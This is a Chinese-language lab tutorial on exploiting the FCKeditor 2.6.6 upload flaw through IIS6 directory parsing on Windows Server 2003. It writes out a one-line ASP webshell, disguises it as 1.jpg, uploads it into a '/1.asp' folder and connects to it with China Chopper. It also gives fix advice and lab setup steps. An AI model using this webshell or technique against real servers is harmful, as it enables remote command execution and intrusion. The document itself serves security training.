Abstract: 掌握 FCK 编辑器上传漏洞的利用,了解如何修复 FCK 编辑器上传漏洞,了解如何在 Windows Server 2003 SP2 搭建 FCKEditor 环境。

Table of Contents

  1. 富文本编辑器文件上传漏洞
    1. IIS 解析原理
    2. 查看 FCK 版本信息
    3. 打开 FCK 编辑器上传点页面
    4. 上传测试
    5. 新建 1.asp 文件夹
    6. 使用中国菜刀
    7. 修复建议
    8. 搭建环境

实验环境Windows XP + 中国菜刀 + FCK 2.6.6 + Windows Server 2003 SP2

富文本编辑器文件上传漏洞

IIS 解析原理

Windows 2003 中的 IIS6 存在这文件解析路径的漏洞,当文件夹名为类似 xxx.asp 结尾的目录名时,此时文件夹下的任何类型的文件都可以在 IIS 中被当作 ASP 程序来执行。这样黑客就可以上传扩展名为 .jpg 之类的图片文件的木马文件。通过访问这个文件即可运行木马,比如 1.asp/a.jpg

查看 FCK 版本信息

在浏览器地址栏中测测试网页后面输入:/fck266/_whatnew.html,查看版本信息。

打开 FCK 编辑器上传点页面

在测试网页后面输入 /editor/filemanager/connectors/test.html ,进入上传点页面。

上传测试

在桌面上创建 1.asp 文件,打开文件,写入一句话木马,保存成功后,

1
<%eval request("cmd")%>

另存为一份,保存为 1.jpg 文件。

在上传页面,选择 1.jpg 文件,

上传成功后,点击 Get Folders and Files,获取图片地址。

在新标签页输入图片地址查看图片,因上传的图片木马所以无法显示。

返回到上传点页面,上传 1.asp 文件,页面会报错。

新建 1.asp 文件夹

在上传点页面,点击 Create Folder ,输入 /1.asp 作为文件名。

点击 Get Folders and Files 查看文件夹

上传 1.jpg 文件,

查看文件。

使用中国菜刀

打开中国菜刀,输入 webshell 地址,密码和类型。

添加成功后,双击打开,发现成功。

寻找 key

修复建议

  1. 客户端检测,使用 JS 对长传图片的大小,扩展名,文件类型等进行检测。
  2. 服务端对文件路径,扩展名,类型,内容等进行检测,对文件进行重命名。
  3. 服务端上传目录设置为不可执行权限。

搭建环境

实验环境:Windows Server 2003 Enterprise Edition SP2 + FCKEditor 2.6.6

CKEditor 官网下载 FCKEditor 2.6.6下载FCK2.6.6源码

下载完毕后,把压缩包解压到 C:\www 目录下。

打开 IIS新建网站,

先填写网站描述,

填写 IP 地址和端口设置,点击下一步后,

选择网站根目录,点击下一步,

记得要勾选允许匿名访问网站,否则访问网站的需要输入用户名和密码。

  • 允许匿名访问网站

点击下一步后,要设置网站访问权限,为了方便全部勾选。

完成后,右击新建网站选择属性,

在弹窗中,选择主目录 → 配置 → 选项 → 勾选启用父路径,

用浏览器打开网页,

打开文件长传网页 test.html

提示 This connector is disabled.

打开 C:\www\fck\editor\filemanager\connectors\asp 文件夹下的 config.asp。把 ConfigIsEnabled 设置为 True

保存退出。

刷新网页,网页正常显示,

上传一个正常图片,

修改为 NET 模式,继续实验。

在根目录下新建 /1.asp 文件夹,向 /1.asp/上传图片木马,用中国菜刀成功连接。